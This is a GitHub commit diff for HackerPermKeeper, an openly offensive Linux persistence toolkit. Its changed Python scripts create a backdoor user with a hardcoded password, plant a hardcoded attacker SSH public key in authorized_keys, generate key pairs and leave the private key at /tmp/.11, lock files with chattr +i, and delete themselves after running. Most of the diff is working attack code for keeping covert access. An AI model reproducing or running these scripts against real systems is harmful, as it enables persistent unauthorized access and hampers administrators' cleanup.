Skip to content

Commit c5bbb2a

Browse files
authored
Add files via upload
1 parent 8dae126 commit c5bbb2a

File tree

6 files changed

+76
-34
lines changed

6 files changed

+76
-34
lines changed

config.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111

1212
def configs():
13-
print(colored('HackerPermKeeper v3.0 by 弱鸡 支持以下漏洞检测 https://github.com/RuoJi6/HackerPermKeeper', 'green'))
13+
print(colored('HackerPermKeeper v4.0 by 弱鸡 支持以下漏洞检测 https://github.com/RuoJi6/HackerPermKeeper', 'green'))
1414
print(colored('1--------------OpenSSH后门', 'yellow'),colored('[利用]', 'red'))
1515
print('OpenSSH后门 优点:直接重置目标服务器的OpenSSH,在里面写入万能密码以及记录ssh明文账户代码 '' 缺点:需要依大量的依赖环境,而且只能使用低版本系统,目前经过测试的有乌班图14',colored('[建议指数:*]\n', 'red'))
1616

@@ -52,7 +52,7 @@ def configs():
5252
print('检测对方服务器适合什么类型的权限维持模块', colored('[*****]', 'red'))
5353

5454
def configss():
55-
print(colored('HackerPermKeeper v3.0 by 弱鸡 支持以下漏洞检测 https://github.com/RuoJi6/HackerPermKeeper', 'green'))
55+
print(colored('HackerPermKeeper v4.0 by 弱鸡 支持以下漏洞检测 https://github.com/RuoJi6/HackerPermKeeper', 'green'))
5656
print(colored('1--------------OpenSSH后门', 'yellow'),colored('[利用]', 'red'))
5757
print(colored('2--------------后门用户', 'yellow'),colored('[利用]', 'red'))
5858
print(colored('3--------------Alias后门', 'yellow'),colored('[利用]', 'red'))

main.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def ml(command):
4444
# print('No')
4545

4646
try:
47-
name = colored('HackerPermKeeper v2.0 by 弱鸡 https://github.com/RuoJi6/HackerPermKeeper', 'green')
47+
name = colored('HackerPermKeeper v4.0 by 弱鸡 https://github.com/RuoJi6/HackerPermKeeper', 'green')
4848
arg = ArgumentParser(description=name) # 创建解析器, description内容就是
4949
arg.add_argument("-m", "--multiple", help="选择权限维持模块 -m 1")
5050
arg.add_argument("-c", "--config", help="查看支持的权限维持模块 -c 1,查看详细使用说明 -c 2 ")

payload/2adduser/adduser.py

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,17 @@ def adduser(user, password):
3737

3838

3939
def deluser(user):
40-
command = "sed -i '/^" + user + ":/d' /etc/shadow"
41-
ml(command)
42-
command = "sed -i '/^" + user + ":/d' /etc/passwd"
43-
ml(command)
40+
try:
41+
ml('chattr -i /etc/passwd')
42+
ml('chattr -i /etc/shadow')
43+
command = "sed -i '/^" + user + ":/d' /etc/shadow"
44+
# "sed -i '/^passw123:/d' /etc/shadow"
45+
ml(command)
46+
command = "sed -i '/^" + user + ":/d' /etc/passwd"
47+
ml(command)
48+
except Exception as e:
49+
pass
50+
4451

4552
def delete_current_script():
4653
try:
@@ -53,6 +60,6 @@ def delete_current_script():
5360
if __name__ == '__main__':
5461
user = 'passw123'
5562
password = 'admin@#45123'
63+
deluser(user) # 删除用户
5664
adduser(user, password)
57-
# deluser(user) #删除用户
5865
delete_current_script() # 删除当前执行脚本文件

payload/2adduser/adduser_new_user.py

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
from __future__ import print_function
33
import subprocess
44
import sys,os
5+
import requests
56

67
def ml(command):
78
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@@ -33,6 +34,17 @@ def adduser(user, password):
3334
else:
3435
print("----------------------->失败<-----------------------")
3536

37+
def deluser(user):
38+
try:
39+
ml('chattr -i /etc/passwd')
40+
ml('chattr -i /etc/shadow')
41+
command = "sed -i '/^" + user + ":/d' /etc/shadow"
42+
ml(command)
43+
command = "sed -i '/^" + user + ":/d' /etc/passwd"
44+
ml(command)
45+
except Exception as e:
46+
pass
47+
3648
def delete_current_script():
3749
try:
3850
script_path = os.path.abspath(sys.argv[0])
@@ -41,16 +53,9 @@ def delete_current_script():
4153
except Exception as e:
4254
print("无法删除当前脚本文件:", e)
4355

44-
def deluser(user):
45-
command = "sed -i '/^" + user + ":/d' /etc/shadow"
46-
ml(command)
47-
command = "sed -i '/^" + user + ":/d' /etc/passwd"
48-
ml(command)
49-
50-
5156
if __name__ == '__main__':
5257
user = 'passw123'
5358
password = 'admin@#45123'
59+
deluser(user) # 删除用户
5460
adduser(user, password)
55-
# deluser(user) #删除用户
5661
delete_current_script() # 删除当前执行脚本文件

payload/6sshkey/sshkey_local.py

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,17 +75,31 @@ def delete_current_script():
7575
except Exception as e:
7676
print("无法删除当前脚本文件:", e)
7777

78+
def delsshKey(user):
79+
try:
80+
if 'root' in user:
81+
ml('chattr -i /root/.ssh')
82+
ml('chattr -i /root/.ssh/authorized_keys')
83+
ml('rm -rf /root/.ssh/authorized_keys')
84+
else:
85+
ml('chattr -i /home/'+user+'/.ssh')
86+
ml('chattr -i /home/'+user+'/.ssh/authorized_keys')
87+
ml('rm -rf /home/' + user + '/.ssh/authorized_keys')
88+
except Exception as e:
89+
pass
90+
7891
if __name__ == '__main__':
7992
id_ed25519_pub = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF9OQyvU7TkC4Julezg31Lbj2YB3RSwhmM0yJwwtO4iK kali@kali"
8093
# 调用 miyue 函数来在文件末尾写入新内容
8194
# ssh-keygen -t ed25519 -N "admin!@#45123"
95+
user = ml('whoami').strip()
96+
delsshKey(user)
8297
try:
8398
miyue("HostKey /etc/ssh/ssh_host_ed25519_key")
8499
miyue("PubkeyAuthentication yes")
85100
miyue("AuthorizedKeysFile .ssh/authorized_keys")
86101
except Exception as e:
87102
print('低权限用户配置文件写入失败,有的低权限用户不影响使用')
88-
user = ml('whoami').strip()
89103
if 'root' in user:
90104
root_authorized_keys(id_ed25519_pub)
91105
ml('chattr +i /root/.ssh && chattr +i /root/.ssh/authorized_keys')

payload/6sshkey/sshkey_target.py

Lines changed: 33 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
# !/usr/bin/env python
33
from __future__ import print_function
44
import subprocess
5-
import os,sys
5+
import os, sys
6+
67

78
def ml(command):
89
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@@ -26,7 +27,7 @@ def miyue(new_content):
2627
file.write(new_content + '\n')
2728

2829

29-
def generate_ssh_key(password,user):
30+
def generate_ssh_key(password, user):
3031
if 'root' in user:
3132
command = 'ssh-keygen -t ed25519 -N "' + password + '" -q -f /' + user + '/.ssh/id_ed25519'
3233
else:
@@ -40,18 +41,20 @@ def generate_ssh_key(password,user):
4041
print("SSH密钥生成失败。错误信息:")
4142
print(error.decode())
4243

43-
def file_key(user,keyt):
44+
45+
def file_key(user, keyt):
4446
if 'root' in user:
4547
file_path = "/" + user + "/.ssh/authorized_keys"
4648
else:
4749
file_path = "/home/" + user + "/.ssh/authorized_keys"
4850
if os.path.exists(file_path):
4951
print("文件写入成功")
50-
id_ed25519(user,keyt)
52+
id_ed25519(user, keyt)
5153
else:
5254
print("文件写入失败")
5355

54-
def id_ed25519(user,keyt):
56+
57+
def id_ed25519(user, keyt):
5558
if 'root' in user:
5659
file_path = "/" + user + "/.ssh/id_ed25519.pub"
5760
file_path2 = "/" + user + "/.ssh/id_ed25519"
@@ -62,42 +65,55 @@ def id_ed25519(user,keyt):
6265
print("id_ed25519.pub&id_ed25519删除失败")
6366
else:
6467
print("id_ed25519.pub&id_ed25519删除成功")
65-
print('----->利用成功,生成的用户为:',ml('whoami').strip(),'<-----')
66-
print('----->连接命令: ssh -i 密钥文件 '+ str(ml('whoami').strip())+'@ip <-----')
67-
print('请下载{'+keyt+'}密钥文件连接')
68-
68+
print('----->利用成功,生成的用户为:', ml('whoami').strip(), '<-----')
69+
print('----->连接命令: ssh -i 密钥文件 ' + str(ml('whoami').strip()) + '@ip <-----')
70+
print('请下载{' + keyt + '}密钥文件连接')
6971

7072

7173
def delete_current_script():
7274
try:
7375
script_path = os.path.abspath(sys.argv[0])
7476
os.remove(script_path)
75-
print("当前脚本文件已成功删除"+script_path)
77+
print("当前脚本文件已成功删除" + script_path)
7678
except Exception as e:
7779
print("无法删除当前脚本文件:", e)
7880

81+
82+
def delsshKey(user):
83+
try:
84+
if 'root' in user:
85+
ml('chattr -i /root/.ssh')
86+
ml('chattr -i /root/.ssh/authorized_keys')
87+
else:
88+
ml('chattr -i /home/' + user + '/.ssh')
89+
ml('chattr -i /home/' + user + '/.ssh/authorized_keys')
90+
except Exception as e:
91+
pass
92+
93+
7994
if __name__ == '__main__':
8095
# 调用 miyue 函数来在文件末尾写入新内容
8196
# 调用 generate_ssh_key 函数生成SSH密钥对
97+
user = ml('whoami').strip()
98+
delsshKey(user)
8299
try:
83100
miyue("HostKey /etc/ssh/ssh_host_ed25519_key")
84101
miyue("PubkeyAuthentication yes")
85102
miyue("AuthorizedKeysFile .ssh/authorized_keys")
86103
except Exception as e:
87104
print('低权限用户配置文件写入失败,有的低权限用户不影响使用')
88-
user = ml('whoami').strip()
89105
password = "admin!@#45123"
90106
keyt = '/tmp/.11'
91-
generate_ssh_key(password,user)
107+
generate_ssh_key(password, user)
92108
if 'root' in user:
93109
ml('cat /' + user + '/.ssh/id_ed25519.pub >> /' + user + '/.ssh/authorized_keys && chmod 600 /' + user + '/.ssh/authorized_keys && chmod 700 /' + user + '/.ssh/')
94-
ml('cp /' + user + '/.ssh/id_ed25519 '+keyt)
95-
ml('rm -rf /' + user + '/.ssh/id_ed25519 && rm -rf /'+ user + '/.ssh/id_ed25519.pub')
110+
ml('cp /' + user + '/.ssh/id_ed25519 ' + keyt)
111+
ml('rm -rf /' + user + '/.ssh/id_ed25519 && rm -rf /' + user + '/.ssh/id_ed25519.pub')
96112
ml('chattr +i /' + user + '/.ssh && chattr +i /' + user + '/.ssh/authorized_keys')
97113
else:
98114
ml('cat /home/' + user + '/.ssh/id_ed25519.pub >> /home/' + user + '/.ssh/authorized_keys && chmod 600 /home/' + user + '/.ssh/authorized_keys && chmod 700 /home/' + user + '/.ssh/')
99-
ml('cp /home/' + user + '/.ssh/id_ed25519 '+keyt)
100-
ml('rm -rf /home/' + user + '/.ssh/id_ed25519 && rm -rf /home/'+ user + '/.ssh/id_ed25519.pub')
115+
ml('cp /home/' + user + '/.ssh/id_ed25519 ' + keyt)
116+
ml('rm -rf /home/' + user + '/.ssh/id_ed25519 && rm -rf /home/' + user + '/.ssh/id_ed25519.pub')
101117
ml('chattr +i /home/' + user + '/.ssh && chattr +i /' + user + ' /home/.ssh/authorized_keys')
102-
file_key(user,keyt)
118+
file_key(user, keyt)
103119
delete_current_script() # 删除当前执行脚本文件

0 commit comments

Comments
 (0)